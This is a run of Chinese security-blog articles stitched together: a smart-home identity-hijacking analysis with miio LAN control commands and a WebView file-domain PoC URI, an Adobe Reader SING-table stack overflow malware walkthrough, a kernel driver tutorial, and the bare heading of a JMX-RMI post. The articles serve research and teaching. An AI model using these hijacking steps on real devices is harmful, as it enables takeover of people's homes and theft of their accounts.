账号同步是指，在智能设备在初次激活使用(或更改绑定用户时)，用户将自己的身份信息同步给设备，并绑定设备。
一个简化的账号同步流程，如图所示：
账号同步通常会存在如下两类问题：
* 如何设备是否合法：验证设备id还是设备key？id和key都很容易泄露伪造。
* 账号Token如何安全传输：设备此时为入网，通过蓝牙、AP，还是其他何种方式传输账号信息。
账号同步时身份劫持,以厂商A音箱的配网和身份账号同步为例，其账号同步分为两种方式：
1. 直接通过UDP广播255.255.255.255:50000,发送userid、token和wifi的ssid和wifi密码。
2. 将userid、token、ssid和wifi密码等转化成语音播放，音箱进行语音信息识别即可。
关于两种模式的选择：由本地sharedPreferences文件(tg_app_env.xml)中的app_connect_mode属性值决定，其账号同步代码如图所示：
厂商A的音箱将身份信息，通过固定“协议”的格式，在UDP255.255.255.255:50000端口进行身份信息发送，攻击者可以监听UDP50000端口，从而获取用户的userid和token，窃取身份凭据；语音发送也是按照同一套固定的“协议”格式发送。协议格式通过破解后如图所示：
**四、设备交互**
设备交互是指应用、设备和云端的三者交互访问；交互操作大体分为两种方式：
1. 只支持广域网：厂商A为代表；
2. 支持广域网和局域网：厂商B和C为代表。
广域网交互中应用与设备交互、设备与设备的交互方式如图：
厂商A的智能家居接入方式：以开灯为例
第一步：厂商A的音箱-->音箱server
url：<https://***.com/***>
Payload: { Uderid, Deviceid, Accesstoken, 打开灯的语音}
第二步：厂商A的音箱sever-->第三方server
用户需要在第三方产品server注册并通过Oauth授权给厂商A的Server，消息格式如下：
｛
"header":{
“namespace”:”***Genie.Iot.Device.Control",
"name":"TurnOn",
"messageId":"1bd5d003-31b9-476f-ad03-71d471922820",
"payLoadVersion":1
},
"payload":{
"accessToken":"access token",
"deviceId":"34234",
"deviceType":"XXX",
"attribute":"powerstate",
"value":"on",
"extensions":{
"extension1":"",
"extension2":""
}
}
｝
第三步：第三方server-->设备
Payload：{command: turn-on, currentValue:0 }
厂商A音箱的身份劫持
厂商A的音箱每次交互时，都会携带: token、userid、deviceid、action来进行，并且server会依据userid来进行身份判断。
* 有了userid就可以身份劫持——远程设备任意操作；
* userId是顺序的，可遍历的9位数字：比如一个userid是50 ** **123，另一个userid则是50**** 397这几位数字;
* userid还有其他多种方式获得：配网时窃取、APP端上获取；
厂商A音箱被劫持后，可以用户查看聊天记录，自定义问答，设置闹钟、话费充值、智能家居控制等等，此外音箱
“被分享”之后，宿主不能主动取消分享，只能等“攻击者”取消分享，身份劫持危害如图所示，中间的攻击者可以任意查看用户的聊天记录：
如何发现这类身份劫持？
应用或设备通过携带4元组信息：userid、deviceid、token和action，向云端进行请求时，如下图所示，如果云端对4元组信息校验出现不一致的情况下，就会导致身份劫持：
* 把userid、deviceid、token三者信息中的一种直接当成用户身份，而不是进行严格的身份一致性判断：判断userid和token是否一致，用户身份和设备列表是否是绑定关系。
* 用户身份和action判断，存在逻辑漏洞，导致攻击者可以进行操作提权，比如子设备提权可以操作“属主”身份的一些权限，OTA更新等等。
局域网交互中应用与设备交互、设备与设备的交互方式如下图所示：
厂商B的设备局域网身份劫持
在同一局域网下，厂商B设备通过专有的加密UDP网络协议——miio协议，进行通信控制。
* 通过广播发送一个握手协议包，如果设备支持miio协议，那么设备就会回复自身信息：token、ip和ID。
* 向指定设备发送一串hello bytes获得设备信息结构体”header”
* 凭借token、ID等信息构造信息结构体”header”，跟随控制消息发送给设备，实现设备控制。
厂商B的设备局域网身份劫持交互如图所示：
第一步：安装python-miio库，然后执行：mirobo discover --handshake 1，获取设备IP、ID和Token信息。
第二步：发送hello bytes消息给设备54321端口，获取设备消息结构体Header：
第三步：伪造控制消息结构体Header、消息指令cmd和checksum(Token)，给设备发送；
typedef struct{
Header,
cmd,
checksum
}Msg
控制消息结构体如图所示：
以打开智能插座为例：cmd={'id':1,'method':'set_power','params':['on']}
厂商C的局域网交互控制
厂商C为了实现智能家居生态，主推一套实现产品智能化互联互通的协议——“***Link”，目前所有的产品都可以与APP，以及音箱进行交互控制，是一套“带认证的密钥协商+对称密钥加密”的设备操作和交互控制协议。
再介绍和认识“带认证的密钥协商”之前，我们先介绍一下ECDH密钥协商及其存在的安全问题。
有两个用户Bob和Alice，使用ECDH密钥协商，交互过程如图所示：
但是ECDH密钥协商是无法防御中间人攻击的，假设在Bob和Alice存在一个攻击者——Attack，对Bob和Alice进行中间人攻击，ECDH协商流程如图所示：
为了防御中间人攻击，需要在ECDH密钥协商过程中加入“一套身份认证机制”——EccSignKey和EccVerifyKey，EccVerifyKey提前存储在需要协商密钥的用户设备上，整个“待认证的ECDH密钥协商”交互过程如图所示：
设备和厂商C的应用(或音箱)基于***Link协议来进行交互，第三方设备制造商首先在云端通过ECC算法一对生成公私钥：Ecc-sPrivateKey/Ecc-sPubkey，其中公钥Ecc-sPubkey内置在设备端，用于发送随机数到云端，进行设备的身份认证，设备认证合法后，云端下发设备后续通信加密的key：accessKey，然后应用使用ECDH密钥协商算法协商出的密钥，通过AES-CBC模式加密传输accessKey；此外设备和应用进行局域网通信时，都是通过localkey进行加解密来进行的，其中localkey就是accessKey。设备和厂商C的应用局域网交互流程如图所示：
厂商C的设备局域网身份劫持
厂商C的***Link协议的交互控制的消息结构体如下所示：
以打开智能插座为例：
Packet_t=协议包头，opt=null，Payload=LocalKey 密钥加密
Time[时间戳] //4字节int类型时间戳，小端在前
{
“cmd”:5,
"data":{
"streams":[{"current_value":"0","stream_id":"power"}],
"snapshot":[{"current_value":"1","stream_id":"power"}]
}
设备交互方式总结和比较
**五、通过应用实现身份劫持**
通过应用实现身份劫持，常用的方法有如下两种：
1）通过webview JS交互接口远程命令执行或泄露身份账号
应用APP通过为webview
@JavascriptInterface关键字，自定义添加身份获取的函数，并且没对加载url做好限制，导致身份信息远程泄露或者远程命令执行
2）Webview file域远程信息泄露
应用开启WebSettings.setAllowUniversalAccessFromFileURLs(true)，并且webview对加载的url没有任何限制，则应用APP下所有私有目录信息都会被窃取
通过webview JS交互接口远程命令执行或泄露身份账号
应用扫一扫时(CaptureActivity),当CaptureActivity扫描到是“合法”url时，会调用com.***.WebViewActivity进行url加载，但是url判断逻辑存在漏洞，导致攻击者可以调用WebViewActivity定义的交互接口，远程获取用户账号等敏感身份信息，漏洞执行效果如下图所示。
漏洞案列简化：
if(loadurl.contains(“***”)){
//合法
} else{
//不合法
}
Webview file域远程信息泄露
厂商A的音箱控制APP中WVWebViewActivity对外导出，并接收如下远程uri scheme：assistant://hsend **
_Poc5_web_view?direct_address=url。
WVWebViewActivity接受外部的url会传入Fragment中的webview中进行加载，并且WVWebViewActivity中对webview进行了设置，开启了JS和file文件访问能力，并设置了WebSettings.setAllowUniversalAccessFromFileURLs(true)。
攻击者可以将assistant伪协议中的url先通过url加载任意html，然后下载恶意html文件到本地，然后webview跳转加载本地的恶意html文件，窃取用户私有目录内的身份信息。
assistant://hsend_**Poc5_web_view?direct_address=<http://www.test.com>
assistant://hsend ** _Poc5_web_view?direct_address=file:///_ /***.html
**六、智能家居身份劫持漏洞总结**
1.配网泄露
2.设备交互控制时，劫持
1）app/设备->server：厂商A为代表，userid为身份凭证，可劫持；
2）局域网控制：
* 厂商B的局域网控制基于miio协议：token泄露，可劫持
* 厂商C的微联局域网控制：带认证的密钥协商+对称密钥加密(localkey),协议安全；
3.app应用存在身份穿越漏洞
* Webview JS交互接口远程命令执行或远程信息泄露
* Webview File域远程信息克隆
**七、参考文献**
* <https://github.com/WeMobileDev/article/blob/master/%E5%9F%BA%E4%BA%8ETLS1.3%E7%9A%84%E5%BE%AE%E4%BF%A1%E5%AE%89%E5%85%A8%E9%80%9A%E4%BF%A1%E5%8D%8F%E8%AE%AEmmtls%E4%BB%8B%E7%BB%8D.md>
* <https://github.com/rytilahti/python-miio>
* <https://paper.seebug.org/616/> | 社区文章 |
## **1 分析环境**
操作系统：window xp sp3
软件 ：Adobe Reader 9.3.4
## **2 基本信息**
漏洞类型：栈溢出
影响范围：基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x版本，8.2.5之前的8.x版本
## **3 样本分析**
我分析的是漏洞战争中的样本
样本MD5 ： 3f41dc8e22deca8302db1207e5cdc11c
样本名称 ： 名企面试自助手册
在我们拿到样本的时候，一般是不知道漏洞CVE编号，我这个主要展示的是通过一个攻击样本去定位漏洞，我们首先进行行为分析，可以看到在临时文件中释放了一个文件，并且启动，这是个很重要的信息，我们根据这些下断点。
这个时候我们打开Windbg，并且在WinExec下了断点，并运行，可以看到我们断到的地方正是执行svrhost的地方。
我们开始执行，并且执行到这个函数返回，可以看到返回的地址在下面从039a0001开始的内存中，
我们看下这个地址，可以发现这个地址，是从桌面的文件读取进来的。
这个文件也是从样本中释放出来的，其实这是段shellcode,被读入并执行起来。
既然这样我们继续下断点在 kernel32!CreateFileW
下断点,你会发现整个会断下来很多，这个时候，我们需要条件断点，我们将a.txt变为要下断点的文件名
断到断点后回到后就会发现ROP代码
打印下esp ,可以看到黑客作者构造的ROP链
这个时候我们在堆喷的时候下断点，这个时候我们下个内存写断点，在0c0c0c50地址被写入时候下断到后，我们看下内存布局从0c0c0c0c 开始时ROP链
我们近一步分析可以发现，里面在执行js脚本进行堆布局
这个时候我们利用工具将里面的js代码提取出来，我们使用的是pdfStreamDumper这款工具
可以清楚的看到里面的js代码，确实堆喷的代码，并且看看黑客精心构造的代码
我们拷贝出来，并进行了简单的替换，这样可以好看一些
我们可以看到里面的ROP链式硬编码到里面的，用windbg的插件mona看看模块中ASLR开启的情况，可以看到很多未开启ASLR，其中黑客选用的是icucnv36.dll这个模块。
我们知道这个肯定会跳转到0c0c0c0c,我们在这个下内存读断点
我们r一下，会发现这个时候的esp不是栈地址，而是变成了之前堆喷的地址了，这也是开始绕过DEP，毕竟这块地址在win7上就没有执行权限了。我们可以看看其他的寄存器，
可以看看eax和ecx里面的地址都是栈地址。经过查看，可以看到ecx里面的地址更像是之前栈的地址。
我们找个返回地址看一下，可以看到是CoolType,我们在这个地方下断点
下完断点后，执行后，发现就是这个模块出的问题，我们将这个模块放到IDA中，重点看一下。
我们重点跟一下，可以发现在0808b308这个位置出现的问题，这个eax是个栈地址，可以看到这个栈地址被覆盖
然后将0c0c0c0c 这个地址pop给esp,然后开始
我们来分析下漏洞的成因，我们可以发现是在解析SING这个字段出现的问题
我们将TTF文件拷贝出来，看一下
我们在其中找到了ROP链,跳到0c0c0c0c
我们这个时候开始使用Immunity Debugger定位漏洞
我们首先看到开辟了104H大小的栈空间
然后再来看看strcat函数连接的TTF文件的字符串长度明显超过104H的大小，造成了栈溢出。
这个时候我们需要了解下TTF文件的对于Sing的定义和布局，好知道到底是什么字段导致了栈溢出，主要是下面这个字段的解释
可以查看官方文档对TableEntry的解释，可以知道SING表相对于文件的偏移为0x0000011c
我们通过代码可以知道是将偏移10h字节的拷贝过来通过查看官方文档可以知道是这个字段是uniqueName
# **4总结**
通过我们的分析我们可以知道，主要是对SING表的uniqueName字段在拼接的时候对大小没有进行严格的控制，通过官方补丁也可以知道在修复中对大小进行了检查，防止了溢出 | 社区文章 |
# 理解windows内核——驱动开发
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
学习windows内核，就离不开驱动的开发。
## 环境搭建
vs2019 + SDK + WDK，SDK的版本要和WDK的版本相同。
在xp上跑驱动的话就设置target os为win7就行了。
然后就是改改“警告设为错误”等等，不要改警告等级。
#include <ntddk.h>
// 提供一个Unload函数只是为了让程序能够动态卸载,方便调试
VOID DriverUnload(PDRIVER_OBJECT driver)
{
// 但是实际上我们什么都不做，只打印一句话:
DbgPrint("first: Our driver is unloading…\r\n");
}
// DriverEntry，入口函数。第一个参数是驱动对象（一个内核模块结构体），第二个参数是在注册表的路径。
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
// 这是我们的内核模块的入口，可以在这里写入我们想写的东西。
DbgPrint("注册表路径：%wZ 地址：%x Hello world!", reg_path,driver);
// 设置一个卸载函数便于这个函数能退出。
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
当启动和停止后，通过DebugView发现已经打印了注册表路径和驱动地址。
在对应注册表路径下可以找到相关信息。
## 驱动调试
在应用层，我们可以直接在vs2019上F9下一个断点，非常简单，而在0环，一个驱动程序的断点代表着整个操作系统都将被断下来。
同样使用windbg，在symbol路劲中添加一条自己驱动的路径（就是你要加载什么驱动，就把他的pdb文件路径写在symbol路径中）。
代码为：
#include <ntddk.h>
// 提供一个Unload函数只是为了让程序能够动态卸载,方便调试
VOID DriverUnload(PDRIVER_OBJECT driver)
{
// 但是实际上我们什么都不做，只打印一句话:
DbgPrint("first: Our driver is unloading…\r\n");
}
// DriverEntry，入口函数。相当于main。
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
_asm
{
int 3
mov eax, eax
mov eax ,eax
mov eax, eax
}
// 这是我们的内核模块的入口，可以在这里写入我们想写的东西。
DbgPrint("注册表路径：%wZ 地址：%x Hello world!", reg_path,driver);
// 设置一个卸载函数便于这个函数能退出。
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
int 3将会断点到0环。
自动就会有对应的代码，因为我们给了pdb文件，可见pdb对于调试是非常重要的。
## 内核空间与内核模块
### 内核空间
每个进程4GB独立的内存空间，在低2G是不同的，但是高2G内存空间对于所有的进程来说都是相同的。
有如下一段代码：
#include <ntddk.h>
ULONG x = 0x12345678;
// 提供一个Unload函数只是为了让程序能够动态卸载,方便调试
VOID DriverUnload(PDRIVER_OBJECT driver)
{
// 但是实际上我们什么都不做，只打印一句话:
DbgPrint("first: Our driver is unloading…\r\n");
}
// DriverEntry，入口函数。相当于main。
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
DbgPrint("%x", &x);
// 这是我们的内核模块的入口，可以在这里写入我们想写的东西。
DbgPrint("注册表路径：%wZ 地址：%x Hello world!", reg_path, driver);
// 设置一个卸载函数便于这个函数能退出。
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
定义一个全局变量，当然由于是驱动程序，地址在高2G，加载后通过debugview可以看到地址。
然后我们随便进入一个进程。
kd> .process 81ffc928
查看x的地址，发现正存储着0x12345678。
再换个进程看看。
所以即可证明，进程在高2G用的内存空间是同一块。
### 内核模块
驱动主要是为了给硬件使用的。但硬件种类繁多，不可能做一个兼容所有硬件的内核，所以，微软提供规定的接口格式，让硬件驱动人员安装规定的格式编写“驱动程序” 。
这些驱动程序每一个都是一个模块，称为“内核模块”，都可以加载到内核中，都遵守PE结构。但本质上讲，任意一个.sys文件与内核文件没有区别。
>
> 内核并不是一个孤立的整体，而是由多个模块一起组成的。比如我们逆向的`ntoskrnl.exe`文件，其实也只是其中的一个模块，我们自己编译的sys文件也是，但是并不是每一个模块都对应着一块驱动，比如安全人员写的驱动只是编写了一块驱动，很多时候并没有对应的硬件。
### DRIVER_OBJECT
每个内核模块都有一个对应的结构体，来描述这个模块在内核中的：位置、大小、名称等等。`DriverEntry`的第一个参数就是这个结构体。
kd> dt _DRIVER_OBJECT
nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit : Ptr32 long
+0x030 DriverStartIo : Ptr32 void
+0x034 DriverUnload : Ptr32 void
+0x038 MajorFunction : [28] Ptr32 long
打印出地址后可以看到该结构体具体的值。
kd> dt _DRIVER_OBJECT 824ec030
nt!_DRIVER_OBJECT
+0x000 Type : 0n4
+0x002 Size : 0n168
+0x004 DeviceObject : (null)
+0x008 Flags : 0x12
+0x00c DriverStart : 0xf8a42000 Void
+0x010 DriverSize : 0x6000
+0x014 DriverSection : 0x822d2a98 Void
+0x018 DriverExtension : 0x824ec0d8 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\dbgDriver"
+0x024 HardwareDatabase : 0x80671ae0 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xf8a46000 long dbgDriver!GsDriverEntry+0
+0x030 DriverStartIo : (null)
+0x034 DriverUnload : 0xf8a43030 void dbgDriver!DriverUnload+0
+0x038 MajorFunction : [28] 0x804f454a long nt!IopInvalidDeviceRequest+0
可以看到有驱动名，有多大，从什么地方开始等信息。
### 遍历内核模块
我们通过`_DRIVER_OBJECT`结构可以获取当前自己驱动的一些信息，那么有没有方式可以获取其他内核模块的信息呢。
通过`_DRIVER_OBJECT`结构体中`DriverSection`则可以实现。
`DriverSection`是一个指针，实际上是对应着一个结构体：_LDR_DATA_TABLE_ENTRY
kd> dt _LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
是一个链表，就是将各个内核模块一起串起来。
+0x018 DllBase : Ptr32 Void
是当前模块的首地址。
+0x020 SizeOfImage : Uint4B
有多大。
+0x024 FullDllName : _UNICODE_STRING
这个驱动文件的完整路径。
比如我们这里的当前内核模块信息如下：
kd> dt _LDR_DATA_TABLE_ENTRY 0x822d2a98
通过InLoadOrderLinks可以查询到其他内核模块的信息。
依次内推，可以获取到其他所有的内核模块。
## IRQL
> 试想：当cpu在执行代码时，什么能够打断它？
>
> 答案就是中断，但当一个中断还没有执行结束，又产生了新的中断，这时候cpu应该继续执行之前的中断呢，还是执行新的中断呢？
>
> 答案就是IRQL。等级高的中断可以打断等级低的中断。
IRQL全称Interrupt Request
Level。一个由windows虚拟出来的概念，划分在windows下中断的优先级，这里中断包括了硬中断和软中断，硬中断是由硬件产生，而软中断则是完全虚拟出来的。
#define PASSIVE_LEVEL 0
#define APC_LEVEL 1
#define DISPATCH_LEVEL 2
#define PROFILE_LEVEL 27
#define CLOCK1_LEVEL 28
#define CLOCK2_LEVEL 28
#define IPI_LEVEL 29
#define POWER_LEVEL 30
#define HIGH_LEVEL 31
假设现在有一个中断等级为PASSIVE_LEVEL
，正在被执行，此时产生了一个中断DISPATCH_LEVEL，那么中断等级为DISPATCH_LEVEL的程序异常处理将会被执行。反之则不然，这也是为什么众多内核api要求中断等级的原因，一个不注意将会导致蓝屏。
比如当你想要hook一个函数的等级是DISPATCH_LEVEL，那么你在hook的代码中就不能使用 **分页内存** 。
因为一旦你的内存为分页内存，那么对应的物理页很有可能已经被写到了硬盘上，正常情况下，会产生页异常（中断）去寻找到硬盘中存储的内存，而该中断等级为DISPATCH_LEVEL，那么当hook的代码执行的时候，就根本不会理会这个页异常的中断，因为此时他两的中断等级相同，所以会导致内存访问错误，这样就直接蓝屏了。
> 一般情况下我们自己写的代码都在PASSIVE_LEVEL
> 等级下，如果跑着跑着等级就上去了，那么大概率是你在hook别人的函数，别人的函数等级是DISPATCH_LEVEL。
## 0环与3环通信（常规）
通俗的说就是0环怎么把消息传给3环，3环怎么把消息传给0环。
### 设备对象
这里就可以和三环的窗口对象做对比。
我们在开发窗口程序的时候，消息被封装成一个结构体：MSG，在内核开发时，消息被封装成另外一个结构体：IRP(I/O Request Package)。
在窗口程序中，能够接收消息的只能是窗口对象。在内核中，能够接收IRP消息的只能是设备对象，而不能是驱动对象。
创建设备对象：
//创建设备名称
UNICODE_STRING Devicename;
RtlInitUnicodeString(&Devicename,L"\\Device\\MyDevice"); //“Device”不要随便改，最后的名字可以改
//创建设备
IoCreateDevice(
pDriver, //当前设备所属的驱动对象
0,
&Devicename, //设备对象的名称
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&pDeviceObj //设备对象指针
);
### 交互数据的三种方式
pDeviceObj->Flags = DO_BUFFERED_IO;
**DO_BUFFERED_IO**
该方式为：缓冲区方式读写。
当我们与三环程序通信的时候，有可能因为进程的切换，导致0环在向3环读数据的时候读取到错误的地址，这种方式将会把3环程序地址对应的数据复制一份到0环地址中，这样能保证读取到正确的地址，缺点就是有点麻烦（速度慢），需要复制一份。
**DO_DIRECT_IO**
该方式为：直接方式读写。
操作系统会将用户模式下的缓冲区锁住。然后操作系统将这段缓冲区在内核模式地址再次映射一遍（挂上物理页）。这样，用户模式的缓冲区和内核模式的缓冲区指向的是同一区域的物理内存。缺点就是要单独占用物理页面，无法将物理页存到硬盘上去，但是在需要有大量数据交互的时候此方法是比较好的。
**其他方式读写**
即不指定DO_BUFFERED_IO也不指定DO_DIRECT_IO。
**这种方式是不建议的，并且非常危险**
在使用其他方式读写设备时，派遣函数直接读写应用程序提供的缓冲区地址。在驱动程序中，直接操作应用程序的缓冲区地址是很危险的，因为三环进程会不断的切换，无法保证读取到的地址是一个正确的地址。只有驱动程序与应用程序运行在相同线程上下文的情况下，才能使用这种方式。
### 创建符号链接
我们创建的设备对象的`Devicename`是给内核看的，而三环要想知道这个设备对象，我们就需要给该设备对象起一个别名，即为符号链接。
//创建符号链接名称
RtlInitUnicodeString(&SymbolicLinkName,L"\\??\\MyTestDriver");
//创建符号链接
IoCreateSymbolicLink(&SymbolicLinkName,&Devicename);
特别说明：
1、设备名称的作用是给内核对象用的，如果要在Ring3访问，必须要有符号链接，其实就是一个别名，没有这个别名，在Ring3不可见。
2、内核模式下，符号链接是以“\??\”开头的，如C 盘就是“\??\C:”
3、而在用户模式下，则是以“\\\\.\”开头的，如C 盘就是“\\\\.\C”:
### IRP与派遣函数
一个单机鼠标的操作被封装成MSG结构传给窗口对象，窗口对象找到单击鼠标对应的回调函数进行处理。
CreateFile函数封装成IRP传给设备对象，设备对象找到CreateFile的派遣函数进行处理，所以这里派遣函数可以理解为回调函数，是给设备对象用的，设备对象收到什么样的IRP就用对应的派遣函数处理。
**IRP的类型**
当应用层通过CreateFile，ReadFile，WriteFile，CloseHandle等函数打开、从设备读取数据、向设备写入数据、关闭设备的时候，会使操作系统产生出`IRP_MJ_CREATE`，`IRP_MJ_READ`，`IRP_MJ_WRITE`，`IRP_MJ_CLOSE`等不同的IRP。
但如ReadFile和WriteFile这些函数功能太过于单一，只能读或者只能写，有时候我们需要又读又写和干别的事情。更为常用的是`DeviceIoControl`函数和他对应的IRP类型`IRP_MJ_DEVICE_CONTROL`。
**注册派遣函数**
**派遣函数在哪里注册**
kd> dt _DRIVER_OBJECT
nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit : Ptr32 long
+0x030 DriverStartIo : Ptr32 void
+0x034 DriverUnload : Ptr32 void
+0x038 MajorFunction : [28] Ptr32 long
_DRIVER_OBJECT结构体中DriverUnload即为卸载函数，
MajorFunction为派遣函数，可以看到派遣函数是一个数组。
比如是CreatFile的IRP，那么IRP_MJ_CREATE的派遣函数就在MajorFunction索引为0的位置，同样的如果是IRP_MJ_READ的派遣函数就在索引为3的位置。
**派遣函数的格式**
我们知道线程函数也有对应的格式，并不是乱写的。派遣函数也是有这自己对应格式，返回值和参数类型的固定的。
NTSTATUS MyDispatchFunction(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
//处理自己的业务...
//设置返回状态
pIrp->IoStatus.Status = STATUS_SUCCESS; // getlasterror()得到的就是这个值
pIrp->IoStatus.Information = 0; // 返回给3环多少数据 没有填0
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
**通过IRP_MJ_DEVICE_CONTROL交互数据**
这种方式是最常用的，能实现的功能多种多样，但是稍微复杂一点，需要在三环调用`DeviceIoControl`函数，参数等参考msdn
其中第二个参数code操作码也不是乱填的，具体就看下面实现代码，这里只是稍微提一下。
### 实验
0环代码：
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\MYDEVICE"
#define SYMBOL_NAME_LINK L"\\??\\devicesd"
//自定义消息
#define CODE_READ CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define CODE_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_BUFFERED,FILE_ANY_ACCESS)
VOID DriverUpload(PDRIVER_OBJECT pDriver)
{
UNICODE_STRING symbolLink;
RtlInitUnicodeString(&symbolLink, SYMBOL_NAME_LINK);
IoDeleteSymbolicLink(&symbolLink);
IoDeleteDevice(pDriver->DeviceObject);
KdPrint(("卸载了\n"));
return;
}
NTSTATUS CreatCallBack(_In_ struct _DEVICE_OBJECT* DeviceObject, _Inout_ struct _IRP* Irp)
{
KdPrint(("创建我了\n"));
Irp->IoStatus.Status = STATUS_SUCCESS; //3环调用getlasterror可以获取
Irp->IoStatus.Information = STATUS_SUCCESS;
IofCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS CloseCallBack(_In_ struct _DEVICE_OBJECT* DeviceObject, _Inout_ struct _IRP* Irp)
{
KdPrint(("关闭我了\n"));
Irp->IoStatus.Status = STATUS_SUCCESS; //3环调用getlasterror可以获取
Irp->IoStatus.Information = STATUS_SUCCESS;
IofCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DispathCallBack(_In_ struct _DEVICE_OBJECT* DeviceObject, _Inout_ struct _IRP* Irp)
{
PIO_STACK_LOCATION ps1 = IoGetCurrentIrpStackLocation(Irp);
ULONG code = ps1->Parameters.DeviceIoControl.IoControlCode;
PVOID systembuf = Irp->AssociatedIrp.SystemBuffer;
ULONG inLen = ps1->Parameters.DeviceIoControl.InputBufferLength;
ULONG outLen = ps1->Parameters.DeviceIoControl.OutputBufferLength;
switch (code)
{
case CODE_READ:
KdPrint(("CODE_READ： %x\n",CODE_READ));
if (outLen > 20)
{
memcpy(systembuf, "12345678", sizeof("12345678"));
Irp->IoStatus.Information = sizeof("12345678");
}
else
{
memcpy(systembuf,"1",sizeof("1"));
Irp->IoStatus.Information = 1;
}
break;
case CODE_WRITE:
KdPrint(("CODE_READ： %x\n", CODE_WRITE));
KdPrint(("write： %s\n", systembuf));
Irp->IoStatus.Information = 0;
break;
}
Irp->IoStatus.Status = STATUS_SUCCESS;
IofCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
UNICODE_STRING deviceName;
UNICODE_STRING symbolNameLink;
PDEVICE_OBJECT pDeviceObj;
NTSTATUS status;
pDriver->DriverUnload = DriverUpload;
RtlInitUnicodeString(&deviceName, DEVICE_NAME);
RtlInitUnicodeString(&symbolNameLink, SYMBOL_NAME_LINK);
status = IoCreateDevice(pDriver,0, &deviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,TRUE,&pDeviceObj);
if (!NT_SUCCESS(status))
{
KdPrint(("创建设备失败\n"));
return status;
}
status = IoCreateSymbolicLink(&symbolNameLink,&deviceName);
if (!NT_SUCCESS(status))
{
IoDeleteDevice(pDeviceObj);
KdPrint(("创建符号链接失败\n"));
return status;
}
//设置数据交互的方式
pDeviceObj->Flags = DO_BUFFERED_IO;
pDriver->MajorFunction[IRP_MJ_CREATE] = CreatCallBack;
pDriver->MajorFunction[IRP_MJ_CLOSE] = CloseCallBack;
pDriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispathCallBack;
return STATUS_SUCCESS;
}
3环代码
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <stdio.h>
#define CODE_READ CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define CODE_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define SYMBOL_NAME_LINK L"\\\\.\\devicesd"
BOOLEAN openDevice(HANDLE* handle)
{
HANDLE _hHandle = CreateFile(SYMBOL_NAME_LINK, GENERIC_READ | GENERIC_WRITE,0,
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
*handle = _hHandle;
return (int)_hHandle > 0;
}
VOID CloseDevice(HANDLE handle)
{
CloseHandle(handle);
}
VOID SendCode(HANDLE handle, DWORD code, PVOID inData,
ULONG Inlen, PVOID outData, ULONG outLen, LPDWORD resultLen)
{
//驱动句柄，操作码，要向0环传入多少数据和长度，要向0环取多少数据和长度，实际长度， OVERLAPPED指针（此处为0）
DeviceIoControl(handle, code, inData, Inlen, outData, outLen, resultLen,NULL);
}
int main(int argc, char* argv[])
{
HANDLE handle;
if (!openDevice(&handle))
{
printf("打开设备失败\n");
return 0;
}
char buf[30] = { 0 };
DWORD len = 0;
SendCode(handle,CODE_READ,buf,30,buf,30,&len);
CloseDevice(handle);
printf("buf = %s\n",buf);
system("pause");
return 0;
}
三环能够从0环读取到数据，进行通信。
## 后记
对于安全人员来说，学习驱动并不是了解几个api这么简单，而是要知道操作系统是如何实现的及其原理，内核知识困难并难以理解，文中有错误的地方也请指教。 | 社区文章 |
# Java JMX-RMI
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
